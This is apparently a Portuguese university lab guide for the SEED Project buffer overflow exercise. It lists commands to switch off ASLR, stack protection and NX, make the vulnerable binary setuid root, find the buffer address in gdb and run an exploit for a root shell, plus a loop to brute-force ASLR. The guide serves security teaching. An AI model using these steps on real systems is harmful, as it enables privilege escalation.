Buffer overflow

Esta atividade consiste em desenvolver o experimento Buffer overflow vulnerability do SEED Project.

Antes de desenvolver esse experimento, recomenda-se estudar a seguintes leituras preparatórias:

No relatório, descreva as atividades efetuadas e explique como funcionam os seguintes mecanismos de proteção:

Roteiro sugerido

Este roteiro foi baseado no experimento de buffer overflow do Seed Project. Os comandos abaixo foram testados em plataforma Ubuntu 13.04 32 e 64 bits.

Deve ser usado como informação complementar, não como substituto ao roteiro original!

Desligar a proteção ASLR (Adress Space Layout Randomization) do kernel:

sudo sysctl -w kernel.randomize_va_space=0

Compilar stack.c sem a proteção de pilha do compilador:

cc stack.c -o stack -fno-stack-protector -g

Desligar o flag NX (No Executable Stack) no cabecalho do executável ELF:

sudo apt-get install execstack
execstack stack
execstack -s stack
execstack stack

Ajustar usuário e permissões do executável stack:

sudo chown root.root stack
sudo chmod 4755 stack

Gerar um badfile qualquer para poder executar stack (sem overflow):

echo "um teste..." > badfile

Depurar stack para descobrir o endereço do ponteiro str:

gdb stack
   br 13           // insere breakpoint na linha 13 (strcpy)
   run             // inicia a execução
   print /x str    // obtém o valor do ponteiro str
   quit            // encerra o debugger

Usar o valor obtido do ponteiro str para ajustar exploit.c:

Compilar e executar exploit.c para gerar o arquivo badfile malicioso:

cc exploit.c -o exploit
./exploit

Usar o badfile malicioso para explorar a vulnerabilidade de stack:

./stack
whoami

Se tudo estiver certo, o último comando deve retornar um prompt de root (#) e o comando whoami deve informar root. Se não funcionar, verificar:

No caso de arquiteturas de 64 bits, este site explica com detalhes a construção de um shellcode para processadores de 64 bits no padrão x86_64 (Intel/AMD). Outros shellcodes podem ser encontrados aqui.

Contornar a proteção ASLR

Religar a proteção ASLR do kernel:

sudo sysctl -w kernel.randomize_va_space=2

Executar o ataque continuamente, para tentar contornar a proteção ASLR (pode demorar muito!):

while true ; do ./stack ; done